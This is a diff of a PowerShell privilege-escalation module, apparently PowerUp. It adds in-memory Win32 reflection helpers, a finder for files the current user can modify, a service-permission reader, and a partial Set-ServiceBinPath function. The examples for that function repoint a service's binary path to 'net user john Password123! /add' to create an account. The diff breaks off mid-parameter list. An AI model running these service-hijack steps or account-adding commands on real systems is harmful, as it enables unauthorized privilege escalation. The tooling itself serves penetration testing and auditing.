unmanaged (i.e. +Win32 unmanaged) functions in PowerShell. After providing +Add-Win32Type with a function signature, a .NET type is created +using reflection (i.e. csc.exe is never called like with Add-Type). + +The 'func' helper function can be used to reduce typing when defining +multiple function definitions. + +.PARAMETER DllName + +The name of the DLL. + +.PARAMETER FunctionName + +The name of the target function. + +.PARAMETER EntryPoint + +The DLL export function name. This argument should be specified if the +specified function name is different than the name of the exported +function. + +.PARAMETER ReturnType + +The return type of the function. + +.PARAMETER ParameterTypes + +The function parameters. + +.PARAMETER NativeCallingConvention + +Specifies the native calling convention of the function. Defaults to +stdcall. + +.PARAMETER Charset + +If you need to explicitly call an 'A' or 'W' Win32 function, you can +specify the character set. + +.PARAMETER SetLastError + +Indicates whether the callee calls the SetLastError Win32 API +function before returning from the attributed method. + +.PARAMETER Module + +The in-memory module that will host the functions. Use +New-InMemoryModule to define an in-memory module. + +.PARAMETER Namespace + +An optional namespace to prepend to the type. Add-Win32Type defaults +to a namespace consisting only of the name of the DLL. + +.EXAMPLE + +$Mod = New-InMemoryModule -ModuleName Win32 + +$FunctionDefinitions = @( + (func kernel32 GetProcAddress ([IntPtr]) @([IntPtr], [String]) -Charset Ansi -SetLastError), + (func kernel32 GetModuleHandle ([Intptr]) @([String]) -SetLastError), + (func ntdll RtlGetCurrentPeb ([IntPtr]) @()) +) + +$Types = $FunctionDefinitions | Add-Win32Type -Module $Mod -Namespace 'Win32' +$Kernel32 = $Types['kernel32'] +$Ntdll = $Types['ntdll'] +$Ntdll::RtlGetCurrentPeb() +$ntdllbase = $Kernel32::GetModuleHandle('ntdll') +$Kernel32::GetProcAddress($ntdllbase, 'RtlGetCurrentPeb') + +.NOTES + +Inspired by Lee Holmes' Invoke-WindowsApi http://poshcode.org/2189 + +When defining multiple function prototypes, it is ideal to provide +Add-Win32Type with an array of function signatures. That way, they +are all incorporated into the same in-memory module. +#> + + [OutputType([Hashtable])] + Param( + [Parameter(Mandatory = $True, ValueFromPipelineByPropertyName = $True)] + [String] + $DllName, + + [Parameter(Mandatory = $True, ValueFromPipelineByPropertyName = $True)] + [String] + $FunctionName, + + [Parameter(ValueFromPipelineByPropertyName = $True)] + [String] + $EntryPoint, + + [Parameter(Mandatory = $True, ValueFromPipelineByPropertyName = $True)] + [Type] + $ReturnType, + + [Parameter(ValueFromPipelineByPropertyName = $True)] + [Type[]] + $ParameterTypes, + + [Parameter(ValueFromPipelineByPropertyName = $True)] + [Runtime.InteropServices.CallingConvention] + $NativeCallingConvention = [Runtime.InteropServices.CallingConvention]::StdCall, + + [Parameter(ValueFromPipelineByPropertyName = $True)] + [Runtime.InteropServices.CharSet] + $Charset = [Runtime.InteropServices.CharSet]::Auto, + + [Parameter(ValueFromPipelineByPropertyName = $True)] + [Switch] + $SetLastError, + + [Parameter(Mandatory = $True)] + [ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])})] + $Module, + + [ValidateNotNull()] + [String] + $Namespace = '' + ) + + BEGIN + { + $TypeHash = @{} + } + + PROCESS + { + if ($Module -is [Reflection.Assembly]) + { + if ($Namespace) + { + $TypeHash[$DllName] = $Module.GetType("$Namespace.$DllName") + } + else + { + $TypeHash[$DllName] = $Module.GetType($DllName) } } - - # see if we need to skip any excludes - $CandidateFiles | Sort-Object -Unique | Where-Object {$_} | Where-Object { - $Skip = $False - ForEach($Exclude in $Excludes) { - if($_ -match $Exclude) { $Skip = $True } + else + { + # Define one type for each DLL + if (!$TypeHash.ContainsKey($DllName)) + { + if ($Namespace) + { + $TypeHash[$DllName] = $Module.DefineType("$Namespace.$DllName", 'Public,BeforeFieldInit') + } + else + { + $TypeHash[$DllName] = $Module.DefineType($DllName, 'Public,BeforeFieldInit') + } } - if(!$Skip) {$True} - } | ForEach-Object { - try { - # try to open the file for writing, immediately closing it - $File = Get-Item -Path $_ -Force - $Stream = $File.OpenWrite() - $Null = $Stream.Close() - $_ + + $Method = $TypeHash[$DllName].DefineMethod( + $FunctionName, + 'Public,Static,PinvokeImpl', + $ReturnType, + $ParameterTypes) + + # Make each ByRef parameter an Out parameter + $i = 1 + foreach($Parameter in $ParameterTypes) + { + if ($Parameter.IsByRef) + { + [void] $Method.DefineParameter($i, 'Out', $null) + } + + $i++ } - catch {} + + $DllImport = [Runtime.InteropServices.DllImportAttribute] + $SetLastErrorField = $DllImport.GetField('SetLastError') + $CallingConventionField = $DllImport.GetField('CallingConvention') + $CharsetField = $DllImport.GetField('CharSet') + $EntryPointField = $DllImport.GetField('EntryPoint') + if ($SetLastError) { $SLEValue = $True } else { $SLEValue = $False } + + if ($PSBoundParameters['EntryPoint']) { $ExportedFuncName = $EntryPoint } else { $ExportedFuncName = $FunctionName } + + # Equivalent to C# version of [DllImport(DllName)] + $Constructor = [Runtime.InteropServices.DllImportAttribute].GetConstructor([String]) + $DllImportAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($Constructor, + $DllName, [Reflection.PropertyInfo[]] @(), [Object[]] @(), + [Reflection.FieldInfo[]] @($SetLastErrorField, + $CallingConventionField, + $CharsetField, + $EntryPointField), + [Object[]] @($SLEValue, + ([Runtime.InteropServices.CallingConvention] $NativeCallingConvention), + ([Runtime.InteropServices.CharSet] $Charset), + $ExportedFuncName)) + + $Method.SetCustomAttribute($DllImportAttribute) } } - end { - $ErrorActionPreference = $OrigError + END + { + if ($Module -is [Reflection.Assembly]) + { + return $TypeHash + } + + $ReturnTypes = @{} + + foreach ($Key in $TypeHash.Keys) + { + $Type = $TypeHash[$Key].CreateType() + + $ReturnTypes[$Key] = $Type + } + + return $ReturnTypes } } -function Test-ServiceDaclPermission { + +function psenum +{ <# - .SYNOPSIS +.SYNOPSIS - This function checks if the current user has specific DACL permissions - for a specific service with the aid of 'sc.exe sdshow'. +Creates an in-memory enumeration for use in your PowerShell session. - .PARAMETER ServiceName +Author: Matthew Graeber (@mattifestation) +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: None + +.DESCRIPTION - The service name to verify the permissions against. Required. +The 'psenum' function facilitates the creation of enums entirely in +memory using as close to a "C style" as PowerShell will allow. - .PARAMETER Dacl +.PARAMETER Module - The DACL permissions. Required. - - .EXAMPLE +The in-memory module that will host the enum. Use +New-InMemoryModule to define an in-memory module. - PS C:\> Test-ServiceDaclPermission -ServiceName VulnSVC -Dacl WPRPDC +.PARAMETER FullName - Return $True if the current user has Stop (WP), Start (RP), - and ChangeConf (DC) service permissions for 'VulnSVC' otherwise return $False. +The fully-qualified name of the enum. - .LINK +.PARAMETER Type - https://support.microsoft.com/en-us/kb/914392 - https://rohnspowershellblog.wordpress.com/2013/03/19/viewing-service-acls/ +The type of each enum element. + +.PARAMETER EnumElements + +A hashtable of enum elements. + +.PARAMETER Bitfield + +Specifies that the enum should be treated as a bitfield. + +.EXAMPLE + +$Mod = New-InMemoryModule -ModuleName Win32 + +$ImageSubsystem = psenum $Mod PE.IMAGE_SUBSYSTEM UInt16 @{ + UNKNOWN = 0 + NATIVE = 1 # Image doesn't require a subsystem. + WINDOWS_GUI = 2 # Image runs in the Windows GUI subsystem. + WINDOWS_CUI = 3 # Image runs in the Windows character subsystem. + OS2_CUI = 5 # Image runs in the OS/2 character subsystem. + POSIX_CUI = 7 # Image runs in the Posix character subsystem. + NATIVE_WINDOWS = 8 # Image is a native Win9x driver. + WINDOWS_CE_GUI = 9 # Image runs in the Windows CE subsystem. + EFI_APPLICATION = 10 + EFI_BOOT_SERVICE_DRIVER = 11 + EFI_RUNTIME_DRIVER = 12 + EFI_ROM = 13 + XBOX = 14 + WINDOWS_BOOT_APPLICATION = 16 +} + +.NOTES + +PowerShell purists may disagree with the naming of this function but +again, this was developed in such a way so as to emulate a "C style" +definition as closely as possible. Sorry, I'm not going to name it +New-Enum. :P #> - [CmdletBinding()] - Param( - [Parameter(Mandatory = $True)] - [string] - $ServiceName, + [OutputType([Type])] + Param + ( + [Parameter(Position = 0, Mandatory = $True)] + [ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])})] + $Module, - [Parameter(Mandatory = $True)] - [string] - $Dacl + [Parameter(Position = 1, Mandatory = $True)] + [ValidateNotNullOrEmpty()] + [String] + $FullName, + + [Parameter(Position = 2, Mandatory = $True)] + [Type] + $Type, + + [Parameter(Position = 3, Mandatory = $True)] + [ValidateNotNullOrEmpty()] + [Hashtable] + $EnumElements, + + [Switch] + $Bitfield ) - # check if sc.exe exists - if (-not (Test-Path ("$env:SystemRoot\system32\sc.exe"))){ - throw [System.IO.FileNotFoundException] "$env:SystemRoot\system32\sc.exe not found" - } - - $ServiceAccessFlags = @{ - CC = 1 - DC = 2 - LC = 4 - SW = 8 - RP = 16 - WP = 32 - DT = 64 - LO = 128 - CR = 256 - SD = 65536 - RC = 131072 - WD = 262144 - WO = 524288 - GA = 268435456 - GX = 536870912 - GW = 1073741824 - GR = 2147483648 - } - - # query WMI for the service - $TargetService = Get-WmiObject -Class win32_service -Filter "Name='$ServiceName'" | Where-Object {$_} - - # make sure we got a result back - if (-not ($TargetService)){ - throw [System.Management.Instrumentation.InstanceNotFoundException] "Target service '$ServiceName' not found on the machine" + if ($Module -is [Reflection.Assembly]) + { + return ($Module.GetType($FullName)) } - # retrieve DACL from sc.exe (only possible if 'RC' DACL is set) - $Result = sc.exe sdshow $TargetService.Name | where {$_} + $EnumType = $Type -as [Type] - if ($Result -like "*OpenService FAILED*"){ - throw [System.Management.Automation.ApplicationFailedException] "Could not retrieve DACL permissions for '$($TargetService.Name)'" + $EnumBuilder = $Module.DefineEnum($FullName, 'Public', $EnumType) + + if ($Bitfield) + { + $FlagsConstructor = [FlagsAttribute].GetConstructor(@()) + $FlagsCustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($FlagsConstructor, @()) + $EnumBuilder.SetCustomAttribute($FlagsCustomAttribute) } - $SecurityDescriptors = New-Object System.Security.AccessControl.RawSecurityDescriptor($Result) + foreach ($Key in $EnumElements.Keys) + { + # Apply the specified enum type to each element + $null = $EnumBuilder.DefineLiteral($Key, $EnumElements[$Key] -as $EnumType) + } - # populate a list of group SIDs that the current user is a member of - $Sids = whoami /groups /FO csv | ConvertFrom-Csv | select "SID" | ForEach-Object {$_.Sid} + $EnumBuilder.CreateType() +} - # add to the list the SID of the current user - $Sids += [System.Security.Principal.WindowsIdentity]::GetCurrent().User.value - ForEach ($Sid in $Sids){ - ForEach ($Ace in $SecurityDescriptors.DiscretionaryAcl){ +# A helper function used to reduce typing while defining struct +# fields. +function field +{ + Param + ( + [Parameter(Position = 0, Mandatory = $True)] + [UInt16] + $Position, - # check if the group/user SID is included in the ACE - if ($Sid -eq $Ace.SecurityIdentifier){ - - # convert the AccessMask to a service DACL string - $DaclString = $($ServiceAccessFlags.Keys | Foreach-Object { - if (($ServiceAccessFlags[$_] -band $Ace.AccessMask) -eq $ServiceAccessFlags[$_]) { - $_ - } - }) -join "" - - # convert the input DACL to an array - $DaclArray = [array] ($Dacl -split '(.{2})' | Where-Object {$_}) - - # counter to check how many DACL permissions were found - $MatchedPermissions = 0 + [Parameter(Position = 1, Mandatory = $True)] + [Type] + $Type, + + [Parameter(Position = 2)] + [UInt16] + $Offset, + + [Object[]] + $MarshalAs + ) + + @{ + Position = $Position + Type = $Type -as [Type] + Offset = $Offset + MarshalAs = $MarshalAs + } +} + + +function struct +{ +<# +.SYNOPSIS + +Creates an in-memory struct for use in your PowerShell session. + +Author: Matthew Graeber (@mattifestation) +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: field + +.DESCRIPTION + +The 'struct' function facilitates the creation of structs entirely in +memory using as close to a "C style" as PowerShell will allow. Struct +fields are specified using a hashtable where each field of the struct +is comprosed of the order in which it should be defined, its .NET +type, and optionally, its offset and special marshaling attributes. + +One of the features of 'struct' is that after your struct is defined, +it will come with a built-in GetSize method as well as an explicit +converter so that you can easily cast an IntPtr to the struct without +relying upon calling SizeOf and/or PtrToStructure in the Marshal +class. + +.PARAMETER Module + +The in-memory module that will host the struct. Use +New-InMemoryModule to define an in-memory module. + +.PARAMETER FullName + +The fully-qualified name of the struct. + +.PARAMETER StructFields + +A hashtable of fields. Use the 'field' helper function to ease +defining each field. + +.PARAMETER PackingSize + +Specifies the memory alignment of fields. + +.PARAMETER ExplicitLayout + +Indicates that an explicit offset for each field will be specified. + +.EXAMPLE + +$Mod = New-InMemoryModule -ModuleName Win32 + +$ImageDosSignature = psenum $Mod PE.IMAGE_DOS_SIGNATURE UInt16 @{ + DOS_SIGNATURE = 0x5A4D + OS2_SIGNATURE = 0x454E + OS2_SIGNATURE_LE = 0x454C + VXD_SIGNATURE = 0x454C +} + +$ImageDosHeader = struct $Mod PE.IMAGE_DOS_HEADER @{ + e_magic = field 0 $ImageDosSignature + e_cblp = field 1 UInt16 + e_cp = field 2 UInt16 + e_crlc = field 3 UInt16 + e_cparhdr = field 4 UInt16 + e_minalloc = field 5 UInt16 + e_maxalloc = field 6 UInt16 + e_ss = field 7 UInt16 + e_sp = field 8 UInt16 + e_csum = field 9 UInt16 + e_ip = field 10 UInt16 + e_cs = field 11 UInt16 + e_lfarlc = field 12 UInt16 + e_ovno = field 13 UInt16 + e_res = field 14 UInt16[] -MarshalAs @('ByValArray', 4) + e_oemid = field 15 UInt16 + e_oeminfo = field 16 UInt16 + e_res2 = field 17 UInt16[] -MarshalAs @('ByValArray', 10) + e_lfanew = field 18 Int32 +} + +# Example of using an explicit layout in order to create a union. +$TestUnion = struct $Mod TestUnion @{ + field1 = field 0 UInt32 0 + field2 = field 1 IntPtr 0 +} -ExplicitLayout + +.NOTES + +PowerShell purists may disagree with the naming of this function but +again, this was developed in such a way so as to emulate a "C style" +definition as closely as possible. Sorry, I'm not going to name it +New-Struct. :P +#> + + [OutputType([Type])] + Param + ( + [Parameter(Position = 1, Mandatory = $True)] + [ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])})] + $Module, + + [Parameter(Position = 2, Mandatory = $True)] + [ValidateNotNullOrEmpty()] + [String] + $FullName, + + [Parameter(Position = 3, Mandatory = $True)] + [ValidateNotNullOrEmpty()] + [Hashtable] + $StructFields, + + [Reflection.Emit.PackingSize] + $PackingSize = [Reflection.Emit.PackingSize]::Unspecified, + + [Switch] + $ExplicitLayout + ) + + if ($Module -is [Reflection.Assembly]) + { + return ($Module.GetType($FullName)) + } + + [Reflection.TypeAttributes] $StructAttributes = 'AnsiClass, + Class, + Public, + Sealed, + BeforeFieldInit' + + if ($ExplicitLayout) + { + $StructAttributes = $StructAttributes -bor [Reflection.TypeAttributes]::ExplicitLayout + } + else + { + $StructAttributes = $StructAttributes -bor [Reflection.TypeAttributes]::SequentialLayout + } + + $StructBuilder = $Module.DefineType($FullName, $StructAttributes, [ValueType], $PackingSize) + $ConstructorInfo = [Runtime.InteropServices.MarshalAsAttribute].GetConstructors()[0] + $SizeConst = @([Runtime.InteropServices.MarshalAsAttribute].GetField('SizeConst')) + + $Fields = New-Object Hashtable[]($StructFields.Count) + + # Sort each field according to the orders specified + # Unfortunately, PSv2 doesn't have the luxury of the + # hashtable [Ordered] accelerator. + foreach ($Field in $StructFields.Keys) + { + $Index = $StructFields[$Field]['Position'] + $Fields[$Index] = @{FieldName = $Field; Properties = $StructFields[$Field]} + } + + foreach ($Field in $Fields) + { + $FieldName = $Field['FieldName'] + $FieldProp = $Field['Properties'] + + $Offset = $FieldProp['Offset'] + $Type = $FieldProp['Type'] + $MarshalAs = $FieldProp['MarshalAs'] + + $NewField = $StructBuilder.DefineField($FieldName, $Type, 'Public') + + if ($MarshalAs) + { + $UnmanagedType = $MarshalAs[0] -as ([Runtime.InteropServices.UnmanagedType]) + if ($MarshalAs[1]) + { + $Size = $MarshalAs[1] + $AttribBuilder = New-Object Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, + $UnmanagedType, $SizeConst, @($Size)) + } + else + { + $AttribBuilder = New-Object Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, [Object[]] @($UnmanagedType)) + } - # check if each of the permissions exists - ForEach ($DaclPermission in $DaclArray){ - if ($DaclString.Contains($DaclPermission.ToUpper())){ - $MatchedPermissions += 1 - } - else{ - break - } - } - # found all permissions - success - if ($MatchedPermissions -eq $DaclArray.Count){ - return $True - } - } + $NewField.SetCustomAttribute($AttribBuilder) } + + if ($ExplicitLayout) { $NewField.SetOffset($Offset) } } - return $False + + # Make the struct aware of its own size. + # No more having to call [Runtime.InteropServices.Marshal]::SizeOf! + $SizeMethod = $StructBuilder.DefineMethod('GetSize', + 'Public, Static', + [Int], + [Type[]] @()) + $ILGenerator = $SizeMethod.GetILGenerator() + # Thanks for the help, Jason Shirk! + $ILGenerator.Emit([Reflection.Emit.OpCodes]::Ldtoken, $StructBuilder) + $ILGenerator.Emit([Reflection.Emit.OpCodes]::Call, + [Type].GetMethod('GetTypeFromHandle')) + $ILGenerator.Emit([Reflection.Emit.OpCodes]::Call, + [Runtime.InteropServices.Marshal].GetMethod('SizeOf', [Type[]] @([Type]))) + $ILGenerator.Emit([Reflection.Emit.OpCodes]::Ret) + + # Allow for explicit casting from an IntPtr + # No more having to call [Runtime.InteropServices.Marshal]::PtrToStructure! + $ImplicitConverter = $StructBuilder.DefineMethod('op_Implicit', + 'PrivateScope, Public, Static, HideBySig, SpecialName', + $StructBuilder, + [Type[]] @([IntPtr])) + $ILGenerator2 = $ImplicitConverter.GetILGenerator() + $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Nop) + $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Ldarg_0) + $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Ldtoken, $StructBuilder) + $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Call, + [Type].GetMethod('GetTypeFromHandle')) + $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Call, + [Runtime.InteropServices.Marshal].GetMethod('PtrToStructure', [Type[]] @([IntPtr], [Type]))) + $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Unbox_Any, $StructBuilder) + $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Ret) + + $StructBuilder.CreateType() } -function Invoke-ServiceStart { +######################################################## +# +# PowerUp Helpers +# +######################################################## + +function Get-ModifiableFile { <# .SYNOPSIS - Starts a specified service, first enabling the service if it was marked as disabled. + Parses a passed string containing multiple possible file/folder paths and returns + the file paths where the current user has modification rights. - .PARAMETER ServiceName + .DESCRIPTION - The service name to start. Required. + Takes a complex path specification of an initial file/folder path with possible + configuration files, 'tokenizes' the string in a number of possible ways, and + enumerates the ACLs for each path that currently exists on the system. Any path that + the current user has modification rights on is returned in a custom object that contains + the modifiable path, associated permission set, and the IdentityReference with the specified + rights. The SID of the current user and any group he/she are a part of are used as the + comparison set against the parsed path DACLs. + + .PARAMETER Path + + The string path to parse for modifiable files. Required .EXAMPLE - PS C:\> Invoke-ServiceStart -ServiceName VulnSVC + PS C:\> '"C:\Temp\blah.bat" -f "C:\Temp\config.ini"' | Get-ModifiableFile - Start the 'VulnSVC' service. + Path Permissions IdentityReference + ---- ----------- ----------------- + C:\Temp\blah.bat {ReadAttributes, ReadCo... NT AUTHORITY\Authentic... + C:\Temp\config.ini {ReadAttributes, ReadCo... NT AUTHORITY\Authentic... #> [CmdletBinding()] Param( - [Parameter(ValueFromPipeline=$True, Mandatory = $True)] - [String] - $ServiceName + [Parameter(ValueFromPipeline = $True, Mandatory = $True)] + [String[]] + $Path ) - process { - # query WMI for the service - $TargetService = Get-WmiObject -Class win32_service -Filter "Name='$ServiceName'" | Where-Object {$_} - - # make sure we got a result back - if (-not ($TargetService)){ - Write-Warning "[!] Target service '$ServiceName' not found on the machine" - return $False + BEGIN { + # # false positives ? + # $Excludes = @("MsMpEng.exe", "NisSrv.exe") + + # from http://stackoverflow.com/questions/28029872/retrieving-security-descriptor-and-getting-number-for-filesystemrights + $AccessMask = @{ + [uint32]'0x80000000' = 'GenericRead' + [uint32]'0x40000000' = 'GenericWrite' + [uint32]'0x20000000' = 'GenericExecute' + [uint32]'0x10000000' = 'GenericAll' + [uint32]'0x02000000' = 'MaximumAllowed' + [uint32]'0x01000000' = 'AccessSystemSecurity' + [uint32]'0x00100000' = 'Synchronize' + [uint32]'0x00080000' = 'WriteOwner' + [uint32]'0x00040000' = 'WriteDAC' + [uint32]'0x00020000' = 'ReadControl' + [uint32]'0x00010000' = 'Delete' + [uint32]'0x00000100' = 'WriteAttributes' + [uint32]'0x00000080' = 'ReadAttributes' + [uint32]'0x00000040' = 'DeleteChild' + [uint32]'0x00000020' = 'Execute/Traverse' + [uint32]'0x00000010' = 'WriteExtendedAttributes' + [uint32]'0x00000008' = 'ReadExtendedAttributes' + [uint32]'0x00000004' = 'AppendData/AddSubdirectory' + [uint32]'0x00000002' = 'WriteData/AddFile' + [uint32]'0x00000001' = 'ReadData/ListDirectory' } + + $UserIdentity = [System.Security.Principal.WindowsIdentity]::GetCurrent() + $CurrentUserSids = $UserIdentity.Groups | Select-Object -ExpandProperty Value + $CurrentUserSids += $UserIdentity.User.Value + + $TranslatedIdentityReferences = @{} + } + + PROCESS { + + foreach ($TargetPath in $Path) { + + $CandidatePaths = @() + + # possible separator character combinations + $SeparationCharacterSets = @('"', "'", ' ', "`"'", '" ', "' ", "`"' ") - try { - # enable the service if it was marked as disabled - if ($TargetService.StartMode -eq "Disabled"){ - $r = Invoke-ServiceEnable -ServiceName "$($TargetService.Name)" - if (-not $r){ - return $False + ForEach($SeparationCharacterSet in $SeparationCharacterSets) { + $CandidatePaths += $TargetPath.split($SeparationCharacterSet) | Where-Object {$_ -and ($_.trim() -ne '')} | ForEach-Object { + Resolve-Path -Path $([System.Environment]::ExpandEnvironmentVariables($_)) -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Path } } - # start the service - Write-Verbose "Starting service '$($TargetService.Name)'" - $Null = sc.exe start "$($TargetService.Name)" + $CandidatePaths | Sort-Object -Unique | ForEach-Object { + $CandidatePath = $_ + Get-Acl -Path $CandidatePath | Select-Object -ExpandProperty Access | Where-Object {($_.AccessControlType -match 'Allow')} | ForEach-Object { + + $FileSystemRights = $_.FileSystemRights.value__ + + $Permissions = $AccessMask.Keys | Where-Object { $FileSystemRights -band $_ } | ForEach-Object { $accessMask[$_] } + + # the set of permission types that allow for modification + $Comparison = Compare-Object -ReferenceObject $Permissions -DifferenceObject @('GenericWrite', 'GenericAll', 'MaximumAllowed', 'WriteOwner', 'WriteDAC', 'WriteData/AddFile') -IncludeEqual -ExcludeDifferent + + if($Comparison) { + if ($_.IdentityReference -notmatch '^S-1-5.*') { + if(-not ($TranslatedIdentityReferences[$_.IdentityReference])) { + # translate the IdentityReference if it's a username and not a SID + $IdentityUser = New-Object System.Security.Principal.NTAccount($_.IdentityReference) + $TranslatedIdentityReferences[$_.IdentityReference] = $IdentityUser.Translate([System.Security.Principal.SecurityIdentifier]) | Select-Object -ExpandProperty Value + } + $IdentitySID = $TranslatedIdentityReferences[$_.IdentityReference] + } + else { + $IdentitySID = $_.IdentityReference + } + + if($CurrentUserSids -contains $IdentitySID) { + New-Object -TypeName PSObject -Property @{ + Path = $CandidatePath + IdentityReference = $_.IdentityReference + Permissions = $Permissions + } + } + } + } + } + } + } +} + + +function Add-ServiceDacl { +<# + .SYNOPSIS + + Adds a Dacl field to a service object returned by Get-Service. + Author: Matthew Graeber (@mattifestation) + License: BSD 3-Clause + + .DESCRIPTION + + Takes one or more ServiceProcess.ServiceController objects on the pipeline and adds a + Dacl field to each object. It does this by opening a handle with ReadControl for the + service with using the GetServiceHandle Win32 API call and then uses + QueryServiceObjectSecurity to retrieve a copy of the security descriptor for the service. + + .PARAMETER Service + + An array of one or more ServiceProcess.ServiceController objects from Get-Service. + + .EXAMPLE + + PS C:\> Get-Service | Add-ServiceDacl + + Add Dacls for every service the current user can read. + + .EXAMPLE + + PS C:\> Get-Service -Name VMTools | Add-ServiceDacl + + Add the Dacl to the VMTools service object. + + .OUTPUTS + + ServiceProcess.ServiceController + + .LINK + + https://rohnspowershellblog.wordpress.com/2013/03/19/viewing-service-acls/ +#> + [OutputType([ServiceProcess.ServiceController])] + param ( + [Parameter(Mandatory = $True, ValueFromPipeline = $True)] + [ServiceProcess.ServiceController[]] + [ValidateNotNullOrEmpty()] + $Service + ) + + BEGIN { + $Module = New-InMemoryModule -ModuleName PowerUpModule + + # https://rohnspowershellblog.wordpress.com/2013/03/19/viewing-service-acls/ + $ServiceAccessRights = psenum $Module PowerUp.ServiceAccessRights UInt32 @{ + QueryConfig = 0x00000001 + ChangeConfig = 0x00000002 + QueryStatus = 0x00000004 + EnumerateDependents = 0x00000008 + Start = 0x00000010 + Stop = 0x00000020 + PauseContinue = 0x00000040 + Interrogate = 0x00000080 + UserDefinedControl = 0x00000100 + Delete = 0x00010000 + ReadControl = 0x00020000 + WriteDac = 0x00040000 + WriteOwner = 0x00080000 + Synchronize = 0x00100000 + AccessSystemSecurity = 0x01000000 + GenericAll = 0x10000000 + GenericExecute = 0x20000000 + GenericWrite = 0x40000000 + GenericRead = 0x80000000 + AllAccess = 0x000F01FF + } -Bitfield + + $FunctionDefinitions = @( + (func advapi32 QueryServiceObjectSecurity ([Bool]) @([IntPtr], [Security.AccessControl.SecurityInfos], [Byte[]], [UInt32], [UInt32].MakeByRefType()) -SetLastError) + (func advapi32 CloseServiceHandle ([Bool]) @([IntPtr]) -SetLastError) + ) + + $Types = $FunctionDefinitions | Add-Win32Type -Module $Module -Namespace 'PowerUp.NativeMethods' + $Advapi32 = $Types['advapi32'] + + filter Local:Get-ServiceReadControlHandle { + [OutputType([IntPtr])] + param ( + [Parameter(Mandatory = $True, ValueFromPipeline = $True)] + [ServiceProcess.ServiceController] + [ValidateNotNullOrEmpty()] + $Service + ) - Start-Sleep -s .5 - return $True + $GetServiceHandle = [ServiceProcess.ServiceController].GetMethod('GetServiceHandle', [Reflection.BindingFlags] 'Instance, NonPublic') + + $ReadControl = 0x00020000 + + $RawHandle = $GetServiceHandle.Invoke($Service, @($ReadControl)) + + $RawHandle } - catch{ - Write-Warning "Error: $_" - return $False + } + + PROCESS { + foreach ($IndividualService in $Service) { + try { + $ServiceHandle = Get-ServiceReadControlHandle -Service $IndividualService + } + catch { + $ServiceHandle = $Null + Write-Warning "Error opening up the service handle with read control for: $($IndividualService.Name)" + } + + if ($ServiceHandle -and ($ServiceHandle -ne [IntPtr]::Zero)) { + $SizeNeeded = 0 + + $Result = $Advapi32::QueryServiceObjectSecurity($ServiceHandle, [Security.AccessControl.SecurityInfos]::DiscretionaryAcl, @(), 0, [Ref] $SizeNeeded);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error() + + # 122 == The data area passed to a system call is too small + if ((-not $Result) -and ($LastError -eq 122) -and ($SizeNeeded -gt 0)) { + $BinarySecurityDescriptor = New-Object Byte[]($SizeNeeded) + + $Result = $Advapi32::QueryServiceObjectSecurity($ServiceHandle, [Security.AccessControl.SecurityInfos]::DiscretionaryAcl, $BinarySecurityDescriptor, $BinarySecurityDescriptor.Count, [Ref] $SizeNeeded);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error() + + if (-not $Result) { + Write-Error ([ComponentModel.Win32Exception] $LastError) + } + else { + $RawSecurityDescriptor = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $BinarySecurityDescriptor, 0 + $Dacl = $RawSecurityDescriptor.DiscretionaryAcl | ForEach-Object { + Add-Member -InputObject $_ -MemberType NoteProperty -Name AccessRights -Value ($_.AccessMask -as $ServiceAccessRights) -PassThru + } + + Add-Member -InputObject $IndividualService -MemberType NoteProperty -Name Dacl -Value $Dacl -PassThru + } + } + else { + Write-Error ([ComponentModel.Win32Exception] $LastError) + } + + $Null = $Advapi32::CloseServiceHandle($ServiceHandle) + } } } } -function Invoke-ServiceStop { -<# - .SYNOPSIS +function Set-ServiceBinPath { +<# + .SYNOPSIS + + Sets the binary path for a service to a specified value. + Author: @harmj0y, Matthew Graeber (@mattifestation) + License: BSD 3-Clause + + .DESCRIPTION + + Takes a ServiceProcess.ServiceController or a ServiceName and first opens up a + service handle to the service with ConfigControl access using the GetServiceHandle + Win32 API call. ChangeServiceConfig is then used to set the binary path (lpBinaryPathName/binPath) + to the string value specified by binPath, and the handle is closed off. + + Takes one or more ServiceProcess.ServiceController objects on the pipeline and adds a + Dacl field to each object. It does this by opening a handle with ReadControl for the + service with using the GetServiceHandle Win32 API call and then uses + QueryServiceObjectSecurity to retrieve a copy of the security descriptor for the service. - Stops a specified service. + .PARAMETER Service + + A ServiceProcess.ServiceController object from Get-Service. .PARAMETER ServiceName + + The name of the service to modify the binPath for. - The service name to stop. Required. + .PARAMETER binPath + The new binary path (lpBinaryPathName) to set for the specified service. Required. + + .OUTPUTS + + $True if configuration succeeds, $False otherwise. + + .EXAMPLE + + PS C:\> Set-ServiceBinPath -ServiceName VulnSvc -BinPath 'net user john Password123! /add' + + Sets the binary path for 'VulnSvc' to be a command to add a user. + .EXAMPLE - PS C:\> Invoke-ServiceStop -ServiceName VulnSVC + PS C:\> Get-Service VulnSvc | Set-ServiceBinPath -BinPath 'net user john Password123! /add' + + Sets the binary path for 'VulnSvc' to be a command to add a user. - Stop the 'VulnSVC' service. + .LINK + + https://msdn.microsoft.com/en-us/library/windows/desktop/ms681987(v=vs.85).aspx #> + [CmdletBinding(DefaultParameterSetName='ServiceName')] + param ( + [Parameter(ParameterSetName='Service', Mandatory = $True, ValueFromPipeline = $True)] + [ServiceProcess.ServiceController] + [ValidateNotNullOrEmpty()] + $Service, + + [Parameter(ParameterSetName='ServiceName', Mandatory = $True)] + [String] + [ValidateNotNullOrEmpty()] + $ServiceName, - [CmdletBinding()] - Param( - 